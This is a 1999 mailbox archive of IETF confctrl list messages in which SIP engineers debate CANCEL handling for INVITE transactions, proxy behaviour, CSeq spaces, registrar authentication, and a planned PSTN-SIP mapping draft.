	for confctrl-outgoing; Thu, 27 May 1999 21:50:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA20751
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 21:50:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA00778
	for <confctrl@isi.edu>; Thu, 27 May 1999 21:50:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri May 28 00:48:35 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.77])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA20781;
	Fri, 28 May 1999 00:48:31 -0400 (EDT)
Message-ID: <374E203A.E5A8B4D5@dnrc.bell-labs.com>
Date: Fri, 28 May 1999 00:48:58 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Jeff Mark <Jeff.Mark@Dialogic.com>
CC: "Adam B. Roach" <Adam.Roach@ericsson.com>, lars.berggren@intertex.se,
        confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <002201bea89f$f632bfa0$9c839892@dialogic.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jeff Mark wrote:
> 

> After some discussion among my co-workers I had another issue I wanted to
> raise / point out.  In this example I believe step 7 disagrees with some of
> the wording in RFC2543.
> 
> In section 4.2.5:
> 
>     Once a user agent server has received a CANCEL, it MUST NOT
>     issue a 2xx response for the cancelled original request.
> 
> In section 12.3:
> 
>     A stateful proxy acts as a virtual UAS/UAC.  It implements
>     the server state machine when receiving requests, and the
>     client state machine for generating outgoing requests, with
>     the exception of receiving a 2xx response to an INVITE.
>     Instead of generating an ACK, the 2xx response is always
>     forwarded upstream towards the caller.
> 
> Now since the proxy is acting as both the UAS and UAC it appears from
> reading 4.2.5 the INVITE 200 response sent in step 7 is in violation to this
> rule.  Since the proxy "implements the server state machine when receiving
> requests" (12.3) it shouldn't send the INVITE 200 response.  The exception
> noted in 12.3 applies to the client state machine of the proxy and was
> intended (from my reading) on preventing the proxy from ACKing an INVITE
> response. 

I regret this particular sentence, as this is the second case of where
incorrect behavior has come by interpreting this too strictly. To answer
your question: the proxy should still send the 200. The INVITE 200's are
handled end to end. Having them stop at a proxy causes all kind of bad
things to happen. In particular, the UAC never knows that the UAS
thought the call was set up. If the 200 was forwarded, it could know
this and send a BYE. See my comments below on your suggestion of having
the proxy send a BYE.


> Perhaps the chain of messages in your example is the correct way to do
> things and the way the spec authors intended, but I think there needs to be
> a clarification on how to respond to a CANCEL if a server has already
> responded to the INVITE.  It just seems to me that sending a CANCEL 200
> response _after_ sending an INVITE 200 response is not consistent with the
> meaning of CANCEL.

Remember, CANCEL is an optimization. The spec is quite clear on the
behavior - send a 200 but don't do anything otherwise. Sending any other
response doesn't break anything, and it won't help the UAC, since its
not end to end. (See my note at the end of this mail on helping the
proxy out)


  Taking your proxy example I think the following exchange
> of messages would still be consistent with the spec.  In step 8 the proxy
> generates a BYE since it is not allowed to forward the INVITE 200 (4.2.5):
> 
>    UAC                       PROXY                       UAS
>  1  |----------INVITE--------->|                          |
>  2  |                          |----------INVITE--------->|
>  3  |----------CANCEL--------->|                          |
>  4  |<-------CANCEL 200--------|                          |
>  5  |                          |<-------INVITE 200--------|
>  6  |                          |----------CANCEL--------->|
>  7  |                          |<-------CANCEL 403--------|
>  8  |                          |------------BYE---------->|
>  9  |                          |<---------BYE 200---------|

A proxy cannot, and should not, send a BYE. There are several reasons,
not the least of which is:

1. its a big gaping security hole. BYE should be authenticated. This
means it must be sent by the caller, since the UAS is verifying
authenticity based on the calling parties key. In your proposal, the UAS
could not authenticate BYE's since any proxy might send one.

2. The CSeq number spaces get screwed up. The CSeq in the BYE from the
proxy is probably one higher. Now, the UAC might also issue another
request, perhaps a BYE, perhaps a re-INVITE. This might cause the UAS to
receive two messages, with the same Call-ID, To, From, AND CSeq, even
though they are, in fact, different. 


> 
> So if your original example is the intended way for a proxy to behave then
> the spec needs to add some extra wording in section 12.3 to signify it is ok
> to forward the INVITE 200 after it has received the CANCEL request.

OK. I think we need to strike this virtual UAC/UAS sentence too.


> Maybe an explanation of how I interpret the CANCEL response would help in
> deciphering my message :)
> 
> CANCEL 200
>     I know about the request you want cancelled, I have not
>     sent any final response to this request, and I promise
>     to stop any further processing of the cancelled request.
>     You may consider the original request complete.
> 
> CANCEL 403
>     I know about this transaction, but am refusing to fulfill
>     your CANCEL request because I have already sent a final
>     response for the request you want to CANCEL.
> 
> CANCEL 481
>     I have no idea what request you are trying to CANCEL.

While we're on the subject of CANCEL, let me raise a very closely
related problem. The problem is that of state timeout in a proxy when
CANCEL is used. In the current behavior, a UAS always sends a 200 OK to
the CANCEL, whether or not it arrived before the response to the INVITE
was sent. Thus, if a proxy sends a CANCEL, and then gets a 200 to the
CANCEL, it could mean that the CANCEL actually succeeded (in which case
no final response to the INVITE will ever arrive), or, the UAS did send
a final response to the INVITE already, but it hasn't arrived at the
proxy yet (perhaps it was lost). In one case, the proxy should wait
around for the final response to the INVITE, and in the other case, it
should not. So, the proxy has no way to know whether it is safe to
destroy transaction state. No major harm if it does, but there should be
a way to know.

Solution:

Keep the current behavior (200 to CANCEL), but still have the original
INVITE complete. Basically, if the CANCEL comes before the INVITE
response, the UAS sends a 200 OK to the CANCEL, and then immediately a
4xx to the INVITE itself. This way, a proxy knows that independent of
whether it sent a CANCEL or not, it should wait for a final response to
the INVITE. This solution also has an interesting side effect: if the
call is cancelled at all branches, the UAC receives the 4xx response to
the INVITE (since the 4xx IS propagated back to the UAC). So, for a UAC
which sends CANCEL, it gets a 200 OK to the CANCEL, and then it will
quickly receive a final response to the INVITE - the 4xx if it was
cancelled, or some other final response if it wasn't cancelled in time.


I believe this solution to be closely aligned with the view of CANCEL as
purely an optimization to speed up INVITE completion. The original
transaction still completes, CANCEL just speeds it up and causes phones
to stop ringing if not answered. I think its easy to support, since it
more cleanly separates the CANCEL and INVITE transactions - both still
complete normally (of course, as with any transaction, it may not
complete, and a proxy/UAC should be prepared for this. That handles the
backwards compatibility).

At first, Jeff's proposal (send a 4xx of some sort to the CANCEL if it
arrives after a response is sent), seems like it might solve this
problem too. If the proxy gets a 200 to the CANCEL, its safe to
terminate. If its the 4xx, it should wait for the response. This works
at the proxy which talks to the UAS, but not at any other proxy. Thats
because each proxy will generate its own local 200 response to the
CANCEL before even forwarding the CANCEL. Thus, a proxy receiving the
200 OK won't know whether the next hop was a proxy or a UAS. Having
different semantics for 200 CANCEL based on next hop is very bad and
won't work.

Comments?

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu May 27 22:22:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA23119
	for confctrl-outgoing; Thu, 27 May 1999 22:22:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA23114
	for <confctrl@zephyr.isi.edu>; Thu, 27 May 1999 22:22:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA02234
	for <confctrl@isi.edu>; Thu, 27 May 1999 22:22:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri May 28 01:21:28 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.77])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA21158;
	Fri, 28 May 1999 01:21:26 -0400 (EDT)
Message-ID: <374E27F1.61EFB394@dnrc.bell-labs.com>
Date: Fri, 28 May 1999 01:21:53 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Robert Sparks <Robert.Sparks@wcom.com>
CC: confctrl@ISI.EDU
Subject: Re: Registrar authentication response ; CSeq contiguity
References: <000401bea867$aabf1560$369323a6@lm.mci.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Robert Sparks wrote:
> 
> Local discussions have raised a pair of questions:
> 
> 1) In the simple scenario of a UAC interacting directly with a
> registrar, if the registrar decides authentication is required
> for a request, it MAY return a 401 response(section 14.1). Could
> it choose to return a 407 instead? (In other words, could a registrar
> be considered a proxy rather than an end recipient of the request?)

Probably this would work, but why do you want to do this? The registrar
is not a proxy, its a registrar. It should respond with a 401.

> 
> 2) Should CSeq be contiguous over {UAC,CallId} or {UAC,CallId,To,From}. If
> the former, is the only rationale behind the contiguous requirement to
> ensure
> a large CSeq space? If the latter, has it been discussed what a UAS might do
> if it detected a gap?

Its unique over the {UAC,CallID,To,From}. What this basically means is
that if A calls B, requests from B to A use a *different* CSeq space
from those used in the A to B requests. 

What to do if there is a gap:

> A user agent server MUST remember the highest sequence number for any
>    INVITE request with the same Call-ID value. The server MUST respond
>    to, and then discard, any INVITE request with a lower sequence
>    number.

This paragraph is also not clear on two important points. First, I
believe the response to a misordered request should be an error response
(probably 500). This paragraph just says respond, not what the response
is. I think the 500 here is important, since if it just responds with a
200, but ignores it, you can get inconsistent session states (in the
case of re-INVITE) at the UAC and UAS. 

Second, it says you remember the CSeq for any INVITE with the same
Call-ID. This should read, "Call-ID, To and From", as I mention above.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri May 28 00:20:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA05515
	for confctrl-outgoing; Fri, 28 May 1999 00:20:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA05509
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 00:20:39 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA06143
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 00:20:38 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id JAA27308;
	Fri, 28 May 1999 09:20:13 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id KAA02949; Fri, 28 May 1999 10:19:37 +0300 (EET DST)
Message-ID: <374E42C0.2E8311BA@ericsson.com>
Date: Fri, 28 May 1999 10:16:16 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: henry.sinnreich@wcom.com
CC: archow@hss.hns.com, confctrl@ISI.EDU, Dean Willis <Dean.Willis@MCI.COM>,
        Ricky Project <Ricky@lmf.ericsson.se>
Subject: Re: SIP and QOS + some more unrelated questions
References: <NBBBIIJFOKPMFOOILMBKGELOEBAA.henry.sinnreich@wcom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

henry.sinnreich@wcom.com wrote:
> 
> >Is there any further work on that , a draft maybe,
> > which outlines
> > a standard way in which a
> > PSTN-SIP gateway should operate ?
> 
> Some of us had a long-standing intention to write such a "best practices"
> document, but were just to busy to get it done. It should be looked as a to
> do work item for this group I believe.

Henry,

I think a draft about PSTN-SIP mapping is important enough that it
should not be included in a general "best current practices" draft. I
would like to have a draft just about this mapping.

There are lots of issues that could be addressed by the draft (message
flow, mapping of parameters, address translation, implementation of
services...). Then, inside PSTN, we have many protocols (ISUP, TUP...),
and the mapping between them and SIP have some differences.

We intend to write such a draft... I think that it cannot wait any
longer to be written.

Best regards,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Fri May 28 00:33:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA07025
	for confctrl-outgoing; Fri, 28 May 1999 00:33:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA07019
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 00:33:43 -0700 (PDT)
Received: from angel.algonet.se (angel.algonet.se [194.213.74.112])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA06581
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 00:33:41 -0700 (PDT)
Received: (qmail 26209 invoked from network); 28 May 1999 09:33:39 +0200
Received: from du59-251.ppp.algonet.se (HELO felix.intertex.se) (195.100.251.59)
  by angel.algonet.se with SMTP; 28 May 1999 09:33:39 +0200
Message-ID: <374E47FF.D38AFBAB@intertex.se>
Date: Fri, 28 May 1999 09:38:39 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: Jeff Mark <Jeff.Mark@Dialogic.com>
CC: "Adam B. Roach" <Adam.Roach@ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <002201bea89f$f632bfa0$9c839892@dialogic.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jeff Mark wrote:
> 
....
> 
> Now since the proxy is acting as both the UAS and UAC it appears from
> reading 4.2.5 the INVITE 200 response sent in step 7 is in violation to this
> rule.  Since the proxy "implements the server state machine when receiving
> requests" (12.3) it shouldn't send the INVITE 200 response.  The exception
> noted in 12.3 applies to the client state machine of the proxy and was
> intended (from my reading) on preventing the proxy from ACKing an INVITE
> response.  So, if we abide by the server state machine, the proxy MUST NOT
> forward the INVITE 200 response (4.2.5).  Now since the proxy already
> accepted the cancellation of the call, it seems appropriate it should deal
> with the INVITE 200 it receives in step 5 by sending the BYE itself.
> Although this behavior is not mentioned in the spec, it seems like an
> appropriate action to take since the transaction has been canceled.
> 
> Perhaps the chain of messages in your example is the correct way to do
> things and the way the spec authors intended, but I think there needs to be
> a clarification on how to respond to a CANCEL if a server has already
> responded to the INVITE.  It just seems to me that sending a CANCEL 200
> response _after_ sending an INVITE 200 response is not consistent with the
> meaning of CANCEL.  Taking your proxy example I think the following exchange
> of messages would still be consistent with the spec.  In step 8 the proxy
> generates a BYE since it is not allowed to forward the INVITE 200 (4.2.5):
> 
>    UAC                       PROXY                       UAS
>  1  |----------INVITE--------->|                          |
>  2  |                          |----------INVITE--------->|
>  3  |----------CANCEL--------->|                          |
>  4  |<-------CANCEL 200--------|                          |
>  5  |                          |<-------INVITE 200--------|
>  6  |                          |----------CANCEL--------->|
>  7  |                          |<-------CANCEL 403--------|
>  8  |                          |------------BYE---------->|
>  9  |                          |<---------BYE 200---------|

When CANCELing an INVITE request it doesn't mean that the UAC wants to
terminate the call. It means that the UAC wants to terminate all
branches which have not sent a 2xx response. If the UAC wants to
terminate the call it sends a BYE instead of the CANCEL.

I interpret the part in the rfc that Igor quoted as that there are only
two possible final reponses to a CANCEL, 200 and 481. Is this correct?

A 200-CANCEL means that the transaction exists at the server and that it
will prevent all user agent servers that have not sent a 2xx to send
them. It does not mean that the original request really was cancelled,
and thus the UAC should still expect that 2xx to the original request
may arrive.

A 481-CANCEL means that the transaction does not exist at the server.


Thanks for the clarifications,
/Lars

Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri May 28 03:59:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA24881
	for confctrl-outgoing; Fri, 28 May 1999 03:59:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA24876
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 03:59:22 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA13756
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 03:59:20 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id GAA05531;
	Fri, 28 May 1999 06:59:20 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id GAA21832;
	Fri, 28 May 1999 06:59:19 -0400 (EDT)
Message-ID: <374E7707.AEA8E037@cs.columbia.edu>
Date: Fri, 28 May 1999 06:59:19 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Jeff Mark <Jeff.Mark@Dialogic.com>,
        "Adam B. Roach" <Adam.Roach@ericsson.com>, lars.berggren@intertex.se,
        confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <002201bea89f$f632bfa0$9c839892@dialogic.com> <374E203A.E5A8B4D5@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
>
> 
> I regret this particular sentence, as this is the second case of where
> incorrect behavior has come by interpreting this too strictly. To answer

Tentatively changed to:

\begin{changebar}
A stateful proxy acts similar to a virtual UAS/UAC, but cannot be viewed 
as just a UAS and UAC glued together at the back. (In particular, it
does not originate requests.)  
\end{changebar}



> 
> While we're on the subject of CANCEL, let me raise a very closely
> related problem. The problem is that of state timeout in a proxy when
> CANCEL is used. In the current behavior, a UAS always sends a 200 OK to
> the CANCEL, whether or not it arrived before the response to the INVITE
> was sent. Thus, if a proxy sends a CANCEL, and then gets a 200 to the
> CANCEL, it could mean that the CANCEL actually succeeded (in which case
> no final response to the INVITE will ever arrive), or, the UAS did send
> a final response to the INVITE already, but it hasn't arrived at the
> proxy yet (perhaps it was lost). In one case, the proxy should wait
> around for the final response to the INVITE, and in the other case, it
> should not. So, the proxy has no way to know whether it is safe to
> destroy transaction state. No major harm if it does, but there should be
> a way to know.
> 
> Solution:
> 
> Keep the current behavior (200 to CANCEL), but still have the original
> INVITE complete. Basically, if the CANCEL comes before the INVITE
> response, the UAS sends a 200 OK to the CANCEL, and then immediately a
> 4xx to the INVITE itself. This way, a proxy knows that independent of
> whether it sent a CANCEL or not, it should wait for a final response to
> the INVITE. This solution also has an interesting side effect: if the
> call is cancelled at all branches, the UAC receives the 4xx response to
> the INVITE (since the 4xx IS propagated back to the UAC). So, for a UAC
> which sends CANCEL, it gets a 200 OK to the CANCEL, and then it will
> quickly receive a final response to the INVITE - the 4xx if it was
> cancelled, or some other final response if it wasn't cancelled in time.
> 
> I believe this solution to be closely aligned with the view of CANCEL as
> purely an optimization to speed up INVITE completion. The original
> transaction still completes, CANCEL just speeds it up and causes phones
> to stop ringing if not answered. I think its easy to support, since it
> more cleanly separates the CANCEL and INVITE transactions - both still
> complete normally (of course, as with any transaction, it may not
> complete, and a proxy/UAC should be prepared for this. That handles the
> backwards compatibility).
> 
> At first, Jeff's proposal (send a 4xx of some sort to the CANCEL if it
> arrives after a response is sent), seems like it might solve this
> problem too. If the proxy gets a 200 to the CANCEL, its safe to
> terminate. If its the 4xx, it should wait for the response. This works
> at the proxy which talks to the UAS, but not at any other proxy. Thats
> because each proxy will generate its own local 200 response to the
> CANCEL before even forwarding the CANCEL. Thus, a proxy receiving the
> 200 OK won't know whether the next hop was a proxy or a UAS. Having
> different semantics for 200 CANCEL based on next hop is very bad and
> won't work.
> 
> Comments?

Sounds like a good idea. What 4xx code? Suggestion: be explicit:

487 Request cancelled

The original request was cancelled by a {\CANCEL} request.


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri May 28 05:22:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA03965
	for confctrl-outgoing; Fri, 28 May 1999 05:22:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA03960
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 05:22:11 -0700 (PDT)
Received: from angel.algonet.se (angel.algonet.se [194.213.74.112])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA16033
	for <confctrl@isi.edu>; Fri, 28 May 1999 05:22:10 -0700 (PDT)
Received: (qmail 16362 invoked from network); 28 May 1999 14:22:08 +0200
Received: from du59-251.ppp.algonet.se (HELO felix.intertex.se) (195.100.251.59)
  by angel.algonet.se with SMTP; 28 May 1999 14:22:08 +0200
Message-ID: <374E8B9D.F1FB8943@intertex.se>
Date: Fri, 28 May 1999 14:27:09 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Jeff Mark <Jeff.Mark@Dialogic.com>,
        "Adam B. Roach" <Adam.Roach@ericsson.com>, confctrl@ISI.EDU
Subject: Re: SIP: CANCEL request/2xx-response to INVITE
References: <002201bea89f$f632bfa0$9c839892@dialogic.com> <374E203A.E5A8B4D5@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
>
... 
> 
> While we're on the subject of CANCEL, let me raise a very closely
> related problem. The problem is that of state timeout in a proxy when
> CANCEL is used. In the current behavior, a UAS always sends a 200 OK to
> the CANCEL, whether or not it arrived before the response to the INVITE
> was sent. Thus, if a proxy sends a CANCEL, and then gets a 200 to the
> CANCEL, it could mean that the CANCEL actually succeeded (in which case
> no final response to the INVITE will ever arrive), or, the UAS did send
> a final response to the INVITE already, but it hasn't arrived at the
> proxy yet (perhaps it was lost). In one case, the proxy should wait
> around for the final response to the INVITE, and in the other case, it
> should not. So, the proxy has no way to know whether it is safe to
> destroy transaction state. No major harm if it does, but there should be
> a way to know.
> 
> Solution:
> 
> Keep the current behavior (200 to CANCEL), but still have the original
> INVITE complete. Basically, if the CANCEL comes before the INVITE
> response, the UAS sends a 200 OK to the CANCEL, and then immediately a
> 4xx to the INVITE itself. This way, a proxy knows that independent of
> whether it sent a CANCEL or not, it should wait for a final response to
> the INVITE. This solution also has an interesting side effect: if the
> call is cancelled at all branches, the UAC receives the 4xx response to
> the INVITE (since the 4xx IS propagated back to the UAC). So, for a UAC
> which sends CANCEL, it gets a 200 OK to the CANCEL, and then it will
> quickly receive a final response to the INVITE - the 4xx if it was
> cancelled, or some other final response if it wasn't cancelled in time.
> 
> I believe this solution to be closely aligned with the view of CANCEL as
> purely an optimization to speed up INVITE completion. The original
> transaction still completes, CANCEL just speeds it up and causes phones
> to stop ringing if not answered. I think its easy to support, since it
> more cleanly separates the CANCEL and INVITE transactions - both still
> complete normally (of course, as with any transaction, it may not
> complete, and a proxy/UAC should be prepared for this. That handles the
> backwards compatibility).
> 
> At first, Jeff's proposal (send a 4xx of some sort to the CANCEL if it
> arrives after a response is sent), seems like it might solve this
> problem too. If the proxy gets a 200 to the CANCEL, its safe to
> terminate. If its the 4xx, it should wait for the response. This works
> at the proxy which talks to the UAS, but not at any other proxy. Thats
> because each proxy will generate its own local 200 response to the
> CANCEL before even forwarding the CANCEL. Thus, a proxy receiving the
> 200 OK won't know whether the next hop was a proxy or a UAS. Having
> different semantics for 200 CANCEL based on next hop is very bad and
> won't work.
> 
> Comments?
> 

The solution you describe ( 200 to CANCEL and then 4xx to INVITE ) seems
to me like a good solution. However there might be a backward
compability problem.

I don't know if you mean that the 4xx to the INVITE is to be
retransmitted as the final responses to INVITEs usually are. If it is
retransmitted, I think an existing UAC/proxy can get confused when they
send a CANCEL, receives a 200 to it and still gets a lot of final
responses to the INVITE which they will have to ACK to get rid of. In
the current state diagram for the INVITE method, a CANCEL with a 200
response causes these retransmissions to stop without having to ACK
them. But things will still work, since the client should be prepared to
receive final responses even if they get a 200 to a CANCEL ( In the case
where the server already had sent final responses. ).

On the other hand, if this 4xx is not retransmitted, what about
reliability issues?

Also of course, this solution requires fundamental server behaviour
modifications to the rfc.

/Lars


> -Jonathan R.
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri May 28 05:28:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA04214
	for confctrl-outgoing; Fri, 28 May 1999 05:28:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA04209
	for <confctrl@zephyr.isi.edu>; Fri, 28 May 1999 05:28:26 -0700 (PDT)
Received: from omzrelay03.mcit.com (omzrelay03.mcit.com [199.249.19.245])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA16168
	for <confctrl@ISI.EDU>; Fri, 28 May 1999 05:28:25 -0700 (PDT)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #38418)
 with ESMTP id <0FCF00CAWZYI5V@firewall.mcit.com> for confctrl@ISI.EDU; Fri,
 28 May 1999 12:27:55 +0000 (GMT)
Received: from omzmta01.mcit.com (omzmta01.mcit.com [166.37.194.119])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id MAA05974; Fri,
 28 May 1999 12:27:19 +0000 (GMT)
Received: from c25776a ([166.44.138.135])
 by omzmta01.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990528122753.IBHQ1092@c25776a>; Fri, 28 May 1999 12:27:53 +0000
Date: Fri, 28 May 1999 07:27:54 -0500
From: Henry Sinnreich <henry.sinnreich@wcom.com>
Subject: RE: SIP and QOS + some more unrelated questions
In-reply-to: <374E42C0.2E8311BA@ericsson.com>
To: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Cc: archow@hss.hns.com, confctrl@ISI.EDU, Dean Willis <Dean.Willis@wcom.com>,
        Ricky Project <Ricky@lmf.ericsson.se>
Message-id: <NBBBIIJFOKPMFOOILMBKCENAEBAA.henry.sinnreich@wcom.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0)
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> We intend to write such a draft... I think that it cannot wait any
> longer to be written.

Agree and looking forward to it!

Henry

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Gonzalo Camarillo
> Sent: Friday, May 28, 1999 2:16 AM
> To: henry.sinnreich@wcom.com
> Cc: archow@hss.hns.com; confctrl@ISI.EDU; Dean Willis; Ricky Project
> Subject: Re: SIP and QOS + some more unrelated questions
> 
> 
> henry.sinnreich@wcom.com wrote:
> > 
> > >Is there any further work on that , a draft maybe,
> > > which outlines
> > > a standard way in which a
